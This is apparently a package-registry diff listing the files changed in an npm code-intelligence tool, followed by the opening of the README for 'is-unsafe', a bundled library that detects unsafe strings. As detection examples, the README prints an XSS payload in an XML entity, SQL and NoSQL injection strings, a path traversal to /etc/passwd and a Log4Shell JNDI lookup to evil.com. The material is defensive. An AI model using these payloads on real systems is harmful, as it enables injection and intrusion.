@mrclrchtr/supi-code-intelligence 11.4.0 → 13.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (330) hide show
  1. package/CHANGELOG.md +39 -0
  2. package/README.md +17 -9
  3. package/node_modules/@mrclrchtr/supi-code-runtime/package.json +1 -1
  4. package/node_modules/@mrclrchtr/supi-code-runtime/src/api.ts +1 -0
  5. package/node_modules/@mrclrchtr/supi-code-runtime/src/types.ts +51 -23
  6. package/node_modules/@mrclrchtr/supi-core/package.json +3 -1
  7. package/node_modules/@mrclrchtr/supi-core/src/api.ts +4 -0
  8. package/node_modules/@mrclrchtr/supi-core/src/context/context-tag.ts +1 -1
  9. package/node_modules/@mrclrchtr/supi-core/src/debug-registry.ts +22 -3
  10. package/node_modules/@mrclrchtr/supi-core/src/retired-packages.ts +152 -0
  11. package/node_modules/@mrclrchtr/supi-core/src/session.ts +1 -0
  12. package/node_modules/@mrclrchtr/supi-core/src/shell-hints.ts +46 -0
  13. package/node_modules/@mrclrchtr/supi-core/src/spill.ts +93 -0
  14. package/node_modules/@mrclrchtr/supi-lsp/README.md +21 -16
  15. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-code-runtime/package.json +1 -1
  16. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-code-runtime/src/api.ts +1 -0
  17. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-code-runtime/src/types.ts +51 -23
  18. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/package.json +3 -1
  19. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/api.ts +4 -0
  20. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/context/context-tag.ts +1 -1
  21. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/debug-registry.ts +22 -3
  22. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/retired-packages.ts +152 -0
  23. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/session.ts +1 -0
  24. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/shell-hints.ts +46 -0
  25. package/node_modules/@mrclrchtr/supi-lsp/node_modules/@mrclrchtr/supi-core/src/spill.ts +93 -0
  26. package/node_modules/@mrclrchtr/supi-lsp/package.json +8 -8
  27. package/node_modules/@mrclrchtr/supi-lsp/src/api.ts +3 -2
  28. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostic-cache.ts +102 -47
  29. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostic-capabilities.ts +13 -3
  30. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostic-host.ts +8 -0
  31. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostic-refresh.ts +15 -1
  32. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostic-request.ts +1 -1
  33. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-diagnostics.ts +71 -13
  34. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-disk-stamp.ts +60 -0
  35. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-document-state.ts +3 -0
  36. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-document-sync.ts +28 -6
  37. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-edit-capture.ts +258 -0
  38. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-file-state.ts +17 -3
  39. package/node_modules/@mrclrchtr/supi-lsp/src/client/client-semantic-input-barrier.ts +53 -4
  40. package/node_modules/@mrclrchtr/supi-lsp/src/client/client.ts +75 -14
  41. package/node_modules/@mrclrchtr/supi-lsp/src/config/capabilities.ts +8 -0
  42. package/node_modules/@mrclrchtr/supi-lsp/src/config/operation-support.ts +48 -79
  43. package/node_modules/@mrclrchtr/supi-lsp/src/config/tsconfig-extends.ts +2 -1
  44. package/node_modules/@mrclrchtr/supi-lsp/src/config/tsconfig-path.ts +2 -2
  45. package/node_modules/@mrclrchtr/supi-lsp/src/config/tsconfig-scope.ts +14 -5
  46. package/node_modules/@mrclrchtr/supi-lsp/src/config/typescript-module.ts +17 -0
  47. package/node_modules/@mrclrchtr/supi-lsp/src/diagnostics/evidence.ts +42 -0
  48. package/node_modules/@mrclrchtr/supi-lsp/src/manager/manager-client-state.ts +2 -17
  49. package/node_modules/@mrclrchtr/supi-lsp/src/manager/manager-removal-ledger.ts +52 -0
  50. package/node_modules/@mrclrchtr/supi-lsp/src/manager/manager.ts +43 -21
  51. package/node_modules/@mrclrchtr/supi-lsp/src/manager/typescript-file-local.ts +6 -1
  52. package/node_modules/@mrclrchtr/supi-lsp/src/provider/lsp-refactor-provider.ts +21 -35
  53. package/node_modules/@mrclrchtr/supi-lsp/src/provider/lsp-semantic-provider.ts +6 -1
  54. package/node_modules/@mrclrchtr/supi-lsp/src/provider/refactor-command-capture.ts +139 -0
  55. package/node_modules/@mrclrchtr/supi-lsp/src/provider/refactor-planning.ts +202 -47
  56. package/node_modules/@mrclrchtr/supi-lsp/src/provider/semantic-symbol-mapper.ts +13 -3
  57. package/node_modules/@mrclrchtr/supi-lsp/src/session/route-boundary.ts +26 -0
  58. package/node_modules/@mrclrchtr/supi-lsp/src/session/runtime-diagnostic-surface.ts +11 -0
  59. package/node_modules/@mrclrchtr/supi-lsp/src/session/runtime-diagnostics.ts +1 -0
  60. package/node_modules/@mrclrchtr/supi-lsp/src/session/runtime-registry.ts +74 -14
  61. package/node_modules/@mrclrchtr/supi-lsp/src/session/runtime-rename.ts +3 -0
  62. package/node_modules/@mrclrchtr/supi-lsp/src/session/runtime-transition-debug.ts +11 -1
  63. package/node_modules/@mrclrchtr/supi-lsp/src/session/workspace-lsp-runtime.ts +24 -1
  64. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-code-runtime/package.json +1 -1
  65. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-code-runtime/src/api.ts +1 -0
  66. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-code-runtime/src/types.ts +51 -23
  67. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/package.json +3 -1
  68. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/api.ts +4 -0
  69. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/context/context-tag.ts +1 -1
  70. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/debug-registry.ts +22 -3
  71. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/retired-packages.ts +152 -0
  72. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/session.ts +1 -0
  73. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/shell-hints.ts +46 -0
  74. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/@mrclrchtr/supi-core/src/spill.ts +93 -0
  75. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.cjs +50 -75
  76. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.cjs.map +2 -2
  77. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.js +50 -75
  78. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.js.map +2 -2
  79. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.wasm +0 -0
  80. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/debug/web-tree-sitter.wasm.map +6 -6
  81. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/package.json +1 -1
  82. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.cjs +50 -75
  83. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.cjs.map +2 -2
  84. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.d.cts +7 -7
  85. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.d.cts.map +1 -1
  86. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.d.ts +7 -7
  87. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.d.ts.map +1 -1
  88. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.js +50 -75
  89. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.js.map +2 -2
  90. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.wasm +0 -0
  91. package/node_modules/@mrclrchtr/supi-tree-sitter/node_modules/web-tree-sitter/web-tree-sitter.wasm.map +5 -5
  92. package/node_modules/@mrclrchtr/supi-tree-sitter/package.json +5 -5
  93. package/node_modules/@mrclrchtr/supi-tree-sitter/resources/grammars/kotlin/tree-sitter-kotlin.wasm.json +1 -1
  94. package/node_modules/@mrclrchtr/supi-tree-sitter/resources/grammars/latex/tree-sitter-latex.wasm.json +1 -1
  95. package/node_modules/@mrclrchtr/supi-tree-sitter/resources/grammars/sql/tree-sitter-sql.wasm.json +1 -1
  96. package/node_modules/@mrclrchtr/supi-tree-sitter/resources/grammars/tsx/tree-sitter-tsx.wasm.json +1 -1
  97. package/node_modules/@mrclrchtr/supi-tree-sitter/resources/grammars/typescript/tree-sitter-typescript.wasm.json +1 -1
  98. package/node_modules/@mrclrchtr/supi-tree-sitter/src/coordinates.ts +16 -2
  99. package/node_modules/@mrclrchtr/supi-tree-sitter/src/session/structural-worker-client.ts +4 -3
  100. package/node_modules/@mrclrchtr/supi-tree-sitter/src/syntax-errors.ts +2 -0
  101. package/node_modules/@mrclrchtr/supi-tree-sitter/src/tool/call-range.ts +94 -0
  102. package/node_modules/@mrclrchtr/supi-tree-sitter/src/tool/call-sites.ts +26 -6
  103. package/node_modules/@mrclrchtr/supi-tree-sitter/src/tool/callees.ts +6 -3
  104. package/node_modules/@mrclrchtr/supi-tree-sitter/src/tool/exports.ts +13 -4
  105. package/node_modules/@mrclrchtr/supi-tree-sitter/src/worker/runtime.ts +1 -9
  106. package/node_modules/fast-xml-parser/CHANGELOG.md +886 -0
  107. package/node_modules/fast-xml-parser/LICENSE +21 -0
  108. package/node_modules/fast-xml-parser/README.md +204 -0
  109. package/node_modules/fast-xml-parser/lib/fxbuilder.min.js +2 -0
  110. package/node_modules/fast-xml-parser/lib/fxbuilder.min.js.map +1 -0
  111. package/node_modules/fast-xml-parser/lib/fxp.cjs +1 -0
  112. package/node_modules/fast-xml-parser/lib/fxp.d.cts +774 -0
  113. package/node_modules/fast-xml-parser/lib/fxp.min.js +2 -0
  114. package/node_modules/fast-xml-parser/lib/fxp.min.js.map +1 -0
  115. package/node_modules/fast-xml-parser/lib/fxparser.min.js +2 -0
  116. package/node_modules/fast-xml-parser/lib/fxparser.min.js.map +1 -0
  117. package/node_modules/fast-xml-parser/lib/fxvalidator.min.js +2 -0
  118. package/node_modules/fast-xml-parser/lib/fxvalidator.min.js.map +1 -0
  119. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/README.md +92 -0
  120. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/package.json +57 -0
  121. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/EntityDecoder.js +644 -0
  122. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/EntityEncoder.js +239 -0
  123. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/all-entities.js +53 -0
  124. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/entities.js +1139 -0
  125. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/entityTries.js +60 -0
  126. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/index.d.ts +358 -0
  127. package/node_modules/fast-xml-parser/node_modules/@nodable/entities/src/index.js +29 -0
  128. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/CHANGELOG.md +52 -0
  129. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/LICENSE +21 -0
  130. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/README.md +77 -0
  131. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/lib/fxb.cjs +1 -0
  132. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/lib/fxb.d.cts +270 -0
  133. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/lib/fxb.min.js +2 -0
  134. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/lib/fxb.min.js.map +1 -0
  135. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/package.json +77 -0
  136. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/fxb.d.ts +270 -0
  137. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/fxb.js +609 -0
  138. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/ignoreAttributes.js +18 -0
  139. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/orderedJs2Xml.js +360 -0
  140. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/prettifyJs2Xml.js +0 -0
  141. package/node_modules/fast-xml-parser/node_modules/fast-xml-builder/src/util.js +23 -0
  142. package/node_modules/fast-xml-parser/node_modules/is-unsafe/LICENSE +21 -0
  143. package/node_modules/fast-xml-parser/node_modules/is-unsafe/README.md +632 -0
  144. package/node_modules/fast-xml-parser/node_modules/is-unsafe/package.json +56 -0
  145. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/html.js +102 -0
  146. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/log.js +98 -0
  147. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/nosql.js +114 -0
  148. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/redos.js +60 -0
  149. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/shell.js +105 -0
  150. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/sql-strict.js +47 -0
  151. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/sql.js +95 -0
  152. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/svg.js +81 -0
  153. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/contexts/xml.js +79 -0
  154. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/index.cjs +27 -0
  155. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/index.d.ts +103 -0
  156. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/index.js +292 -0
  157. package/node_modules/fast-xml-parser/node_modules/is-unsafe/src/util/decode-entities.js +48 -0
  158. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/LICENSE +21 -0
  159. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/README.md +947 -0
  160. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/lib/pem.cjs +1 -0
  161. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/lib/pem.d.cts +725 -0
  162. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/lib/pem.min.js +2 -0
  163. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/lib/pem.min.js.map +1 -0
  164. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/package.json +79 -0
  165. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/src/Expression.js +232 -0
  166. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/src/ExpressionSet.js +225 -0
  167. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/src/Matcher.js +663 -0
  168. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/src/index.d.ts +589 -0
  169. package/node_modules/fast-xml-parser/node_modules/path-expression-matcher/src/index.js +30 -0
  170. package/node_modules/fast-xml-parser/node_modules/strnum/CHANGELOG.md +63 -0
  171. package/node_modules/fast-xml-parser/node_modules/strnum/LICENSE +21 -0
  172. package/node_modules/fast-xml-parser/node_modules/strnum/README.md +113 -0
  173. package/node_modules/fast-xml-parser/node_modules/strnum/node_modules/anynum/LICENSE +21 -0
  174. package/node_modules/fast-xml-parser/node_modules/strnum/node_modules/anynum/README.md +142 -0
  175. package/node_modules/fast-xml-parser/node_modules/strnum/node_modules/anynum/anynum.js +135 -0
  176. package/node_modules/fast-xml-parser/node_modules/strnum/node_modules/anynum/digitTable.js +116 -0
  177. package/node_modules/fast-xml-parser/node_modules/strnum/node_modules/anynum/package.json +42 -0
  178. package/node_modules/fast-xml-parser/node_modules/strnum/package.json +36 -0
  179. package/node_modules/fast-xml-parser/node_modules/strnum/strnum.js +176 -0
  180. package/node_modules/fast-xml-parser/node_modules/xml-naming/LICENSE +21 -0
  181. package/node_modules/fast-xml-parser/node_modules/xml-naming/README.md +287 -0
  182. package/node_modules/fast-xml-parser/node_modules/xml-naming/package.json +56 -0
  183. package/node_modules/fast-xml-parser/node_modules/xml-naming/src/index.d.ts +108 -0
  184. package/node_modules/fast-xml-parser/node_modules/xml-naming/src/index.js +382 -0
  185. package/node_modules/fast-xml-parser/package.json +93 -0
  186. package/node_modules/fast-xml-parser/src/cli/cli.js +97 -0
  187. package/node_modules/fast-xml-parser/src/cli/man.js +17 -0
  188. package/node_modules/fast-xml-parser/src/cli/read.js +43 -0
  189. package/node_modules/fast-xml-parser/src/fxp.d.ts +754 -0
  190. package/node_modules/fast-xml-parser/src/fxp.js +14 -0
  191. package/node_modules/fast-xml-parser/src/ignoreAttributes.js +18 -0
  192. package/node_modules/fast-xml-parser/src/util.js +61 -0
  193. package/node_modules/fast-xml-parser/src/v6/CharsSymbol.js +16 -0
  194. package/node_modules/fast-xml-parser/src/v6/EntitiesParser.js +106 -0
  195. package/node_modules/fast-xml-parser/src/v6/OptionsBuilder.js +61 -0
  196. package/node_modules/fast-xml-parser/src/v6/OutputBuilders/BaseOutputBuilder.js +69 -0
  197. package/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsArrBuilder.js +103 -0
  198. package/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsMinArrBuilder.js +100 -0
  199. package/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsObjBuilder.js +154 -0
  200. package/node_modules/fast-xml-parser/src/v6/OutputBuilders/ParserOptionsBuilder.js +94 -0
  201. package/node_modules/fast-xml-parser/src/v6/Report.js +0 -0
  202. package/node_modules/fast-xml-parser/src/v6/TagPath.js +81 -0
  203. package/node_modules/fast-xml-parser/src/v6/TagPathMatcher.js +13 -0
  204. package/node_modules/fast-xml-parser/src/v6/XMLParser.js +83 -0
  205. package/node_modules/fast-xml-parser/src/v6/Xml2JsParser.js +235 -0
  206. package/node_modules/fast-xml-parser/src/v6/XmlPartReader.js +210 -0
  207. package/node_modules/fast-xml-parser/src/v6/XmlSpecialTagsReader.js +111 -0
  208. package/node_modules/fast-xml-parser/src/v6/inputSource/BufferSource.js +116 -0
  209. package/node_modules/fast-xml-parser/src/v6/inputSource/StringSource.js +121 -0
  210. package/node_modules/fast-xml-parser/src/v6/valueParsers/EntitiesParser.js +105 -0
  211. package/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParser.js +22 -0
  212. package/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParserExt.js +19 -0
  213. package/node_modules/fast-xml-parser/src/v6/valueParsers/currency.js +38 -0
  214. package/node_modules/fast-xml-parser/src/v6/valueParsers/join.js +13 -0
  215. package/node_modules/fast-xml-parser/src/v6/valueParsers/number.js +14 -0
  216. package/node_modules/fast-xml-parser/src/v6/valueParsers/trim.js +6 -0
  217. package/node_modules/fast-xml-parser/src/validator.js +518 -0
  218. package/node_modules/fast-xml-parser/src/xmlbuilder/json2xml.js +6 -0
  219. package/node_modules/fast-xml-parser/src/xmlparser/DocTypeReader.js +426 -0
  220. package/node_modules/fast-xml-parser/src/xmlparser/OptionsBuilder.js +164 -0
  221. package/node_modules/fast-xml-parser/src/xmlparser/OrderedObjParser.js +907 -0
  222. package/node_modules/fast-xml-parser/src/xmlparser/XMLParser.js +77 -0
  223. package/node_modules/fast-xml-parser/src/xmlparser/node2json.js +177 -0
  224. package/node_modules/fast-xml-parser/src/xmlparser/xmlNode.js +54 -0
  225. package/package.json +10 -8
  226. package/src/analysis/evidence.ts +331 -73
  227. package/src/analysis/health/diagnostics.ts +66 -18
  228. package/src/analysis/health/evidence-reason.ts +44 -0
  229. package/src/analysis/health/server-status.ts +41 -12
  230. package/src/analysis/search/pattern.ts +3 -3
  231. package/src/analysis/target/anchored-structural.ts +4 -1
  232. package/src/analysis/target/anchored.ts +3 -6
  233. package/src/analysis/target/symbol.ts +42 -48
  234. package/src/analysis/target/types.ts +4 -9
  235. package/src/analysis/workspace/cmake-parser.ts +207 -0
  236. package/src/analysis/workspace/cmake.ts +141 -0
  237. package/src/analysis/workspace/maven.ts +310 -0
  238. package/src/analysis/workspace/membership.ts +100 -26
  239. package/src/analysis/workspace/metadata.ts +6 -1
  240. package/src/analysis/workspace/observe.ts +6 -0
  241. package/src/analysis/workspace/types.ts +11 -3
  242. package/src/diagnostics/coverage.ts +49 -0
  243. package/src/diagnostics/evidence.ts +10 -2
  244. package/src/session/find-types.ts +8 -4
  245. package/src/session/find-workflow.ts +11 -16
  246. package/src/session/health-workflow.ts +6 -0
  247. package/src/session/input/common.ts +1 -1
  248. package/src/session/input/health-refactor.ts +48 -34
  249. package/src/session/input/workflows.ts +45 -46
  250. package/src/session/inspect/file-point.ts +2 -2
  251. package/src/session/inspect-types.ts +1 -1
  252. package/src/session/inspect-workflow.ts +3 -3
  253. package/src/session/orientation/collect.ts +42 -7
  254. package/src/session/orientation/context-facts.ts +3 -3
  255. package/src/session/orientation/context-sections.ts +13 -15
  256. package/src/session/orientation/facts.ts +5 -8
  257. package/src/session/orientation-workflow.ts +4 -19
  258. package/src/session/refactor-file-actions.ts +122 -0
  259. package/src/session/refactor-plan-pipeline.ts +152 -0
  260. package/src/session/refactor-plans.ts +18 -15
  261. package/src/session/refactor-types.ts +24 -12
  262. package/src/session/refactor-workflow.ts +68 -243
  263. package/src/session/target-workflow.ts +25 -18
  264. package/src/tool/code_find/execute.ts +6 -7
  265. package/src/tool/code_find/result.ts +5 -7
  266. package/src/tool/code_find/spec.ts +9 -16
  267. package/src/tool/code_find/tui.ts +12 -6
  268. package/src/tool/code_graph/display.ts +5 -6
  269. package/src/tool/code_graph/format.ts +8 -24
  270. package/src/tool/code_graph/result.ts +16 -75
  271. package/src/tool/code_graph/section.ts +21 -33
  272. package/src/tool/code_graph/spec.ts +6 -0
  273. package/src/tool/code_graph/tui.ts +10 -5
  274. package/src/tool/code_health/diagnostic-tui.ts +49 -0
  275. package/src/tool/code_health/guidance.ts +27 -0
  276. package/src/tool/code_health/markdown.ts +60 -8
  277. package/src/tool/code_health/result.ts +20 -9
  278. package/src/tool/code_health/spec.ts +6 -0
  279. package/src/tool/code_health/structured-schema.ts +18 -4
  280. package/src/tool/code_health/structured.ts +22 -18
  281. package/src/tool/code_health/tui.ts +33 -40
  282. package/src/tool/code_inspect/execute.ts +1 -1
  283. package/src/tool/code_inspect/markdown.ts +33 -6
  284. package/src/tool/code_inspect/result.ts +24 -19
  285. package/src/tool/code_inspect/spec.ts +14 -6
  286. package/src/tool/code_inspect/structured.ts +4 -21
  287. package/src/tool/code_inspect/tui.ts +2 -2
  288. package/src/tool/code_orientation/result.ts +53 -100
  289. package/src/tool/code_orientation/spec.ts +8 -0
  290. package/src/tool/code_orientation/structured-schema.ts +16 -12
  291. package/src/tool/code_orientation/structured-workspace.ts +13 -7
  292. package/src/tool/code_orientation/structured.ts +31 -39
  293. package/src/tool/code_orientation/workspace-format.ts +4 -10
  294. package/src/tool/code_orientation/workspace-instructions.ts +4 -5
  295. package/src/tool/code_orientation/workspace-observations.ts +2 -2
  296. package/src/tool/code_orientation/workspace-output.ts +16 -7
  297. package/src/tool/code_orientation/workspace-projects.ts +7 -10
  298. package/src/tool/code_orientation/workspace-sections.ts +13 -19
  299. package/src/tool/code_refactor_apply/result.ts +2 -1
  300. package/src/tool/code_refactor_apply/spec.ts +7 -0
  301. package/src/tool/code_refactor_plan/execute.ts +0 -2
  302. package/src/tool/code_refactor_plan/result.ts +23 -13
  303. package/src/tool/code_refactor_plan/spec.ts +8 -2
  304. package/src/tool/code_refactor_plan/structured.ts +59 -12
  305. package/src/tool/code_refactor_plan/tui.ts +14 -17
  306. package/src/tool/code_resolve/markdown.ts +5 -47
  307. package/src/tool/code_resolve/result.ts +43 -72
  308. package/src/tool/code_resolve/spec.ts +6 -0
  309. package/src/tool/infra/truncate.ts +2 -16
  310. package/src/tool/namespace.ts +14 -0
  311. package/src/tool/refactor-markdown.ts +55 -15
  312. package/src/tool/register.ts +3 -0
  313. package/src/tool/result/candidate-selection.ts +141 -0
  314. package/src/tool/result/display.ts +41 -45
  315. package/src/tool/result/errors.ts +1 -0
  316. package/src/tool/result/model-budget.ts +26 -1
  317. package/src/tool/result/refactor-preview.ts +118 -0
  318. package/src/tool/result/refactor-unavailable.ts +16 -0
  319. package/src/tool/result/refactor.ts +19 -10
  320. package/src/tool/result/structured.ts +2 -1
  321. package/src/tool/result/types.ts +9 -8
  322. package/src/tool/schemas.ts +76 -38
  323. package/src/tool/specs.ts +3 -0
  324. package/src/ui/footer.ts +2 -4
  325. package/src/ui/status-overlay.ts +1 -1
  326. package/src/ui/status-presentation.ts +4 -7
  327. package/src/ui/tui/candidate-selection.ts +40 -95
  328. package/src/ui/tui/common.ts +16 -70
  329. package/src/ui/tui/display.ts +6 -24
  330. package/src/tool/result/candidate-row.ts +0 -49
@@ -0,0 +1,632 @@
1
+ # `is-unsafe`
2
+
3
+ > Zero-dependency, DOM-free, tree-shakeable pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
4
+
5
+ [![npm version](https://img.shields.io/npm/v/is-unsafe.svg)](https://www.npmjs.com/package/is-unsafe)
6
+ [![license](https://img.shields.io/npm/l/is-unsafe.svg)](LICENSE)
7
+
8
+ ---
9
+
10
+ ## Why `is-unsafe`?
11
+
12
+ Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
13
+
14
+ `is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
15
+
16
+ > *Is this string value unsafe in a given context?*
17
+
18
+ It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
19
+
20
+ ### Motivating use case: `@nodable/entities` / `fast-xml-parser`
21
+
22
+ DOCTYPE blocks can define custom entities with arbitrary values:
23
+
24
+ ```xml
25
+ <?xml version="1.0" encoding="UTF-8"?>
26
+ <!DOCTYPE urlset [
27
+ <!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
28
+ ]>
29
+ <urlset>
30
+ <url><loc>https://example.com/&xss;</loc></url>
31
+ </urlset>
32
+ ```
33
+
34
+ When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
35
+
36
+ ---
37
+
38
+ ## Installation
39
+
40
+ ```sh
41
+ npm install is-unsafe
42
+ ```
43
+
44
+ > **Always check the final string.** If your code builds a value by concatenating parts, call `isUnsafe` on the *result*, not on the pieces. Two harmless strings can become unsafe only once joined:
45
+ >
46
+ > ```js
47
+ > const a = 'java', b = 'script&#58;alert(1)';
48
+ > isUnsafe(a, HTML); // false
49
+ > isUnsafe(b, HTML); // false
50
+ > isUnsafe(a + b, HTML); // true ← check this one
51
+ > ```
52
+
53
+ ---
54
+
55
+ ## Quick start
56
+
57
+ ```js
58
+ import { isUnsafe, HTML, SQL, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
59
+
60
+ isUnsafe('<script>alert(1)</script>', HTML) // → true
61
+ isUnsafe('New York, NY', HTML) // → false
62
+
63
+ isUnsafe("' OR 1=1--", SQL) // → true
64
+ isUnsafe('../etc/passwd', SHELL) // → true
65
+ isUnsafe('(a+)+', REDOS) // → true (ReDoS risk)
66
+ isUnsafe('{"$ne": null}', NOSQL) // → true
67
+ isUnsafe('${jndi:ldap://evil.com}', LOG) // → true (Log4Shell)
68
+ ```
69
+
70
+ ---
71
+
72
+ ## v2 Migration guide
73
+
74
+ v2 replaces string context names with **imported pattern arrays**. This is the only breaking change.
75
+
76
+ | v1 | v2 |
77
+ |----|----|
78
+ | `import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe'` | `import { isUnsafe, HTML, XML } from 'is-unsafe'` |
79
+ | `isUnsafe(v, 'HTML')` | `isUnsafe(v, HTML)` |
80
+ | `isUnsafe(v, ['HTML', 'XML'])` | `isUnsafe(v, [HTML, XML])` |
81
+ | `for (const ctx in VALID_CONTEXTS) { isUnsafe(v, ctx) }` | `for (const ctx of Object.values(VALID_CONTEXTS)) { isUnsafe(v, ctx) }` |
82
+
83
